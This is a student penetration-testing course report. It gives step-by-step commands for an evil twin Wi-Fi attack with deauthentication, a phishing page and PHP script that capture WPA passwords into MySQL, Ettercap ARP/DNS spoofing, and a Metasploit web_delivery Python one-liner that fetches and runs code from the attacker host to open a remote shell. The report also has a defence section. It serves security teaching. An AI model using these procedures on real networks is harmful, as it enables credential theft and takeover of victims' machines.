COMP9337 Practical Project Portable Penetration Testing Station for Wi-Fi Network Report

Group name: Project group AE

Group member: Tianyi Jiang(z5159471)

Group member: Wenxun Peng(z5195349)

1. Introduction

a) Task 1:

We use the 'ifconfig' commend which is provided by Linux to check the network statement before and after connecting the Wi-Fi adapter. It can proof the adapter is running.

b) Task 2:

First, we scan the environment and try to find the target access point information including SSID name and Channel number which will be used to simulate later. Then executive the 'deauthentication attack' to make them disconnect from the legitimate AP and forcing them to connect to our access point. Of course, because our machine can provide internet access, client can also use the internet as usual.

c) Task 3:

After the connection completing, when clients open a browser window, they will see a web administrator warning saying 'Enter WPA password to download and upgrade the router firmware'. Then, client will be redirected to a loading page and we can find the password in our MySQL database which we prepare in our machine before.

d) Task 4 part 1:

We use an Ettercap tool to do the web-based attack. First, we need to make

sure that the target machine and our machine are in a same internet access point. Use Nmap to confirm the IP show in Ettercap is exactly the IP address of target machine. Then choose the IP address of the target machine as the 'target' in Ettercap. After that, change the configuration file in Ettercap and redirect a certain website of the target machine(we use a login website in the demo) to our fake apache2 html website. As soon as the client enter his username and password in that website, our MySQL database will show this password in our machine.

e) Task 4 part 2:

We will use Metasploit tool to achieve this. Among the exploit modules, a category that we have not addressed are the web delivery exploits. These exploits enable us to open a web server on the attack system and then generate a simple script command that, when executed on the victim system, will open a Meterpreter shell on the target. This web delivery exploit can use Python, PHP, or the Windows PowerShell scripts. In the demo, we will exploit a Mac system. Since both are UNIX-like systems, they both have built-in Python interpreters by default. If we can get the script command generated by this exploit on the target, we can have complete control of the system including keystroke logging, turning on the webcam, recording from the microphone, and reading or deleting any files on the system.

f) Task 5:

The key to avoiding be attacked is mostly similar to the precautions you should

take against any security vulnerability. Make sure you know what networks, servers, and web applications you are connected to. Never, ever send sensitive information across unsecured networks, or when using public Wi-Fi.

2. Methods Description

a) Task 1:

We enter the 'ifconfig' commend before and after connecting the Wi-Fi adapter. From the demo, we can find after connection a new interface appears, and that represents the Wi-Fi adapter is working.

b) Task 2:

Type in terminal:

apt-get install dnsmasq -y

It can make sure the dhcp server is exist and in the latest version. Then, create a new configuration file for dnsmasq:

sudo vi ~/Desktop/dnsmasq.conf

Add these codes in this document file:

interface=at0

dhcp-range=10.0.0.10,10.0.0.250,12h

dhcp-option=3,10.0.0.1

dhcp-option=6,10.0.0.1

server=8.8.8.8

log-queries

log-dhcp

listen-address=127.0.0.1

These codes can set our dhcp server and the listen interface address. Then, bring up the wireless interface and put the card in monitor mode:

ifconfig wlan0 up

airmon-ng start wlan0

Start monitoring the air:

airodump-ng wlan0mon

As soon the target AP appears in the airodump-ng output window press ctrl+C to terminate monitoring and remember the MAC address, ESSID and channel number of the target AP. Then, set tx-power of alfa card to max:

ifconfig wlan0mon down

iw reg set US

ifconfig wlan0mon up

iwconfig wlan0mon

Now our card should operate on 30dBm(1000mW). Then, begin the evil twin attack using airbase-ng:

airbase-ng -e "*****" -c 6 wlan0mon**

In the commend above, '*******' represent the ESSID of the target AP, because we need to make our fake AP have the same name of the true AP in order to

deceive the clients. ‘6’ means the channel number, and this also need to be same as the channel number of true AP. Then, we need to allocate IP and subnet mask to our fake AP:

ifconfig at0 10.0.0.1 up

’10.0.0.1’ need to match the dhcp-option parameter of dnsmasq.conf file. It means at0 will act as the default gateway under dnsmasq. Then, enable NAT by setting Firewall rules in iptables:

iptables --flush

iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE

iptables --append FORWARD --in-interface at0 -j ACCEPT

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 10.0.0.1:80

iptables -t nat -A POSTROUTING -j MASQUERADE

Then, we need to provide internet access the victim and enable IP forwarding:

echo 1 > /proc/sys/net/ipv4/ip_forward

Entering “1” in the ip_forward file will tell the system to enable the rules defined in the IPtables and start forwarding traffic. If we will put it 0 for this attack, as we are not providing internet access before we get the WPA password. We will now start the dhcp server to allow fake AP to allocate an IP address to the clients. First, we need to tell dhcp server the location of the file we created earlier, which defines IP class, subnet mask, and range of the network:

dnsmasq -C ~/Desktop/dnsmasq.conf -d

Here **-C** stands for *Configuration file* and **-d** stands for daemon mode. Then we need to do the deauthentication attack to force the clients disconnecting from the previous AP:

aireplay-ng --deauth 0 -a <BSSID> <Interface>

Now, clients will disconnect from the previous and connect to our fake AP which has the same name as the previous AP. Of course, they also can use the Internet as usual (bonus).

c) Task 3:

start the apache2 and mysql service:

/etc/init.d/apache2 start

/etc/init.d/mysql start

Now, there is only a default html page in apache2 server. We need to put our fake web administrator warning page saying 'Enter WPA password to download and upgrade the router firmware' and a php document which is used to capture the password the clients enter and store in our MySQL database in right path '/var/www/html/'. Our waring page need to be named as 'index.html' to replace the original default page. Then, try to configure the MySQL database:

mysql -u root -p

Then create a new user, in our demo, the user exists because we have ever test this before:

create user fakeap@localhost identified by 'fakeap';

Then create database and tables which define in our php document:

create database Rogue_AP;

use Rogue_AP;

create table wpa_keys(password1 varchar(32), password2 varchar(32));

Grant fakeap all the permissions on Rogue_AP database:

grant all privileges on Rogue_AP.* to 'fakeap'@'localhost';

Insert a test value in the table:

insert into wpa_keys(password1, password2) values ("testpass", "testpass");

select * from wpa_keys;

Then, start sniff the client traffic and redirect all traffic to the fake AP page:

dnsspoof -i at0

Now, waiting the clients use the browser and enter their Wi-Fi password. Because we can't redirect the HTTPS traffic without getting an SSL/TLS error on the victim's machine so our attack can only work when clients try to browser one HTTP website. In our demo, we use a random HTTP website to show. When one client enters his password, we can find this password from our MySQL database:

select * from wpa_keys;

The screen recording does not show the txt file which store the real AP password but we actually created a txt file named Task3password.txt to store the password.

And we used the tool ‘Fluxion’ to verify our capturing password correctness, but it also does not be showed in screen recording. Since it just needs to input some numbers to choose the options to do this, we do not show these command in our report.

The php file (dbconnect.php) we used in /var/www/html shows below:

```
<?php
session_start();
ob_start();
$host="localhost";
$username="fakeap";
$pass="fakeap";
$dbname="Rogue_AP";
$tbl_name="wpa_keys";
// Create connection
$conn = mysqli_connect($host, $username, $pass, $dbname);
// Check connection
if (!$conn) {
    die("Connection failed: " . mysqli_connect_error());
}
$password1=$_POST['txtUsername'];
$password2=$_POST['txtPassword'];
$sql = "INSERT INTO wpa_keys (password1, password2) VALUES ('$password1', '$password2')";
if (mysqli_query($conn, $sql)) {
    echo "New record created successfully";
} else {
    echo "Error: " . $sql . "<br>" . mysqli_error($conn);
}
mysqli_close($conn);
sleep(2);
header("location:upgrading.html");
ob_end_flush();
?>
```

d) Task 4 part 1:

First, use the password we gain from last task to login in the true access point. Use ‘ifconfig’ and ‘route’ commend to find the IP address and the gateway address of our machine. Then, try to do some change in the Ettercap

configuration file:

gedit /etc/ettercap/etter.conf

change ‘ec_uid’ and ‘ec_gid’ to 0 and delete the hashtag before two ‘redir_command_on’ commends after ‘if you use iptables’. Then, start the Ettercap tool:

ettercap -G

Go to sniff, choose ‘Unified sniffing’ first, choose ‘wlan0’ in the network interface list. Then, choose ‘stop sniffing’ and ‘scan for hosts’. Use Nmap commend to confirm one certain IP address showing on the list is the right one:

nmap 192.168.0.16

From the feedback, we know the name of that machine is truly our target machine. And we can use command “route” which is not showed in the video to get the default gateway. Then, add the gateway address to Target 2 and the IP address of the target machine to Target 1. After that, click ‘ARP Poisoning’ and click on ‘Sniff remote connections’. Go to ‘Manage the Plugins’ and click on ‘dns_spoof’ option. Then edit the specific redirect function:

gedit /etc/ettercap/etter.dns

Find the ‘redirect it to www.linux.org’, edit two commends below, the default commend should be like these:

<Target website> A <Local IP address>

***.<Target website> A <Local IP address>**

We change the <Target website> to the website which we want to attack. Please note only HTTP website is acceptable here. Then edit <Local IP address>. In our demo, it should be '192.168.0.6':

joannabringgs.org A 192.168.0.6

***. joannabringgs.org A 192.168.0.6**

Then, start the apache2 service and MySQL service:

service apache2 start

/etc/init.d/mysql start

Now, go to path '/var/www/html/' and put our fake html and php there, this step is the same as what we do in task 3. We don't need to configure the database again because it is also same as task 3. Then, go back to Ettercap and click 'Start sniffing'. When it is running. there will be a feedback below. Now, when the clients try to bowser out target website, they will be redirect to our fake website. After they enter their username and password, we can find that in our MySQL database.

e) Task 4 part 2:

First, start Metasploit and load the exploit:

kali > msfconsole

msf > use exploit/multi/script/web_delivery

Set the IP of our attack system:

msf > set LHOST 192.168.0.6

Set the port we want to use:

msf > set LPORT 4444

Now we can look at the options for the exploit:

msf > show options

We also can get more information on this exploit:

msf > info

Start the exploit and set the target to 0:

msf > set target 0

msf > exploit

Then we need to executive the commend below on the target machine. This is because that we will likely need to get physical access to the system or envelope the code into a seemingly innocuous-looking object that the victim will be enticed to execute, which means that in this project, we create a vulnerability first to exploit, so we need to copy this commend and run it in the target machine:

sudo python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://192.168.0.6:8080/WHXxXvaanq');exec(r.read());"

In the commend above, 'WHXxXvaanq' may be different every time. Then enter the administrator password. We can see a Meterpreter has been started on the target system. After that, select the session and start the interaction:

msf > sessions -l

This will list the 'active sessions'. We then can activate one session by typing:

msf > sessions -i 1

'1' is the number of session. Then the configuration work completes. Now we can run the Meterpreter commands or scripts. We can use 'cd' commend to move to the directory we want and create a new 'txt' document by typing this:

edit testcreate.txt

Then, we can edit this file and the document will appear after saving. Finally, we can also delete this file by typing:

rm testcreate.txt

The target test file will disappear immediately.

3. Defense against attack

a) Defense Evil Twin Attack:

Avoid Connecting Unsecured Wi-Fi:

Most importantly, you should avoid connecting to networks that look suspicious. Never, ever connect to a network that is unsecured if you have the choice, especially if it has the same name as one your trust!

Pay Attention To Notifications:

On a related note, you should pay attention to warnings that your device generates when you connect to certain types of network. Too often users

dismiss these warnings as just another annoyance, but in truth, your software is trying to do you a favor by keeping you safe.

Avoid Using Sensitive Accounts:

Sometimes, you will be forced to connect to a public network, and sometimes even an unsecured one. If it comes to this, there are a couple of steps you should take to limit your exposure. Obviously, you should not use a network like this to log in to important accounts, including your social media feeds, but especially corporate networks or internet banking services. If like the majority of people, your smartphone is continually logged into certain accounts, you should either manually log out of them on your phone, or not connect your phone via Wi-Fi.

Limit Automatic Connectivity:

Another useful technique is to limit the networks that your device automatically connects to, and to ask for your approval when it tries to connect to a new network. Doing this will allow you to quickly review the network you are about to connect to, and spot if it looks suspicious.

Use a VPN:

Evil Twin attacks, as we've seen, are tough to detect. Besides, because the encryption provided by standard Wi-Fi Security Protocols like WPA and WPA2 only starts once your device establishes a connection with an access point, you cannot rely on it to protect you against an attacker's malicious network.

The best way to make sure you are protected is therefore to use a Virtual

Private Network (VPN). This is one of the only ways suggested by the Wi-Fi Alliance to defend yourself from Evil Twin attacks.

A VPN works by creating an encrypted tunnel between you and a VPN server. Typically, a VPN client will work through your browser, or even at the level of your operating system. Every single piece of information you exchange with the broader network is encrypted by your device, and can only be decrypted by your VPN server.

As a result, even if someone manages to intercept the data you send and receive, they will not be able to read or exploit it. The most secure VPNs make use of military-grade encryption protocols that far exceed the security offered by standard Wi-Fi security protocols, and so keep your data completely safe.

b) Defense social engineering attack

Think before you click:

Attackers employ a sense of urgency to make you act first and think later in phishing attacks. When you get a highly urgent, high-pressure message, be sure to take a moment to check if the source is credible first. The best way is to utilize another method of communication different from where the message is from - like texting the person to see if they emailed you an urgent message or that was from an attacker.

Research the sources:

Always be careful of any unsolicited messages. Check the domain links to see if they are real, and the person sending you the email if they are actual

members of the organization. Usually, a typo/spelling error is a dead giveaway. Utilize a search engine, go to the company's website, check their phone directory. These are all simple, easy way to avoid getting spoofed. Hovering your cursor on a link before you actually click on it will reveal the link at the bottom, and is another way to make sure you are being redirected to the correct company's website.

Email spoofing is ubiquitous:

Hackers, spammers, and social engineers are out to get your information, and they are taking over control of people's accounts. Once they gain access, they will prey on your contacts. Even when the sender appears to be someone you are familiar with, it is still best practice to check with them if you aren't expecting any email links or files from them.

c) Defense web exploits

Use Intrusion prevention/detection systems:

An Intrusion Prevention System (IPS) is a network security/threat prevention technology that examines network traffic flows to detect and prevent vulnerability exploits. Vulnerability exploits usually come in the form of malicious inputs to a target application or service that attackers use to interrupt and gain control of an application or machine. Following a successful exploit, the attacker can disable the target application (resulting in a denial-of-service state), or can potentially access to all the rights and permissions available to the compromised application.

The IPS has a number of detection methods for finding exploits, but signature-based detection and statistical anomaly-based detection are the two dominant mechanisms.

Signature-based detection is based on a dictionary of uniquely identifiable patterns (or signatures) in the code of each exploit. As an exploit is discovered, its signature is recorded and stored in a continuously growing dictionary of signatures.

Statistical anomaly detection takes samples of network traffic at random and compares them to a pre-calculated baseline performance level. When the sample of network traffic activity is outside the parameters of baseline performance, the IPS takes action to handle the situation.

Use Blacklisting malicious:

Blacklisting malicious domains to block traffic to them is almost totally ineffective, as the domains used to serve attack payloads are deployed and discarded over a very short timeframe (often less than an hour), while block lists typically are updated every 24 hours. The exploit kit operators frequently hack websites to add hidden links to the exploit kits, or sneak malicious links into advertising networks, so even high-profile websites maintained by a team of professional full-time webmasters can be dangerous.

An efficient way is to add the website where the exploit kit from to Blacklisting malicious and set a valid to update.

4. Diary

Week 6 (3.25-3.31)

Refer to Kali's official documentation for information on how to install Kali in Raspberry Pi and familiarize various commands in Kali and various useful tools (such as Fluxion, Metasploit and so on) in Kali which might be used in our project. Tianyi and Wenxun completed the formatting of SD card together, and Raspberry Pi and its various components were assembled, and Kali Raspberry Pi 2&3 operating system was installed.

Week 7 (4.1-4.7)

Refer to relevant materials, review the attack principle of Evil twin attack, and apply knowledge to practice. Tianyi and Wenxun first used Kali on VM to complete the Evil twin attack of Task 2, but failed to implement IP forward. Tianyi collected some methods of how to do Task 3 (e.g. how to use DNS poisoning). Wenxun collected methods of how to realize IP forward (e.g. how to configure dhcp, nat, etc.).

Week 8 (4.8-4.14)

Tianyi and Wenxun implemented IP forward both on VM and on Raspberry Pi and also used fake webpage to steal real Wifi passwords. During this time, Wenxun learned how to use Apache 2 and MySQL services and how to link them with php, which is very useful for Task 3. Tianyi learned how to create a fake Web page that was almost identical to the original site, as well as how to use Fluxion to verify our Wifi passwords correctness. And we learned how to

use Ettercap's tool (in preparation for Task 4).

Week 9 (4.15-4.21)

Similar to Task 3, the method of creating fake Web pages and capturing account passwords (a fake router management page is created in Task 3), and we use ettercap as a tool to implement our DNS poisoning attack. We also experimented on VM and then on Raspberry Pi (Task 4 Part 1). But we looked up a lot of information and used many tools (at least four) to implement Task 4 Part 2. We think it might be difficult to implement these methods under the latest operating system (such as Win 10). It's really hard for us to control other people's shells just through a LAN connection. At the same time, Tianyi completed most of the project reports and Wenxun and Tianyi completed the previous part (except Task 4 part 2) of the video recording.

Week 10 (4.22-4.23)

Wenxun checked Moodle forum and found that in this project, we could first create a vulnerability on the victim's computer and then exploit it. We think this also means that some codes can be executed on the victim computer to create vulnerabilities, so we used a method that we thought could not be used to complete Task 4 part 2. Wenxun completed all the video clips and captions, and improved the project report and submitted it.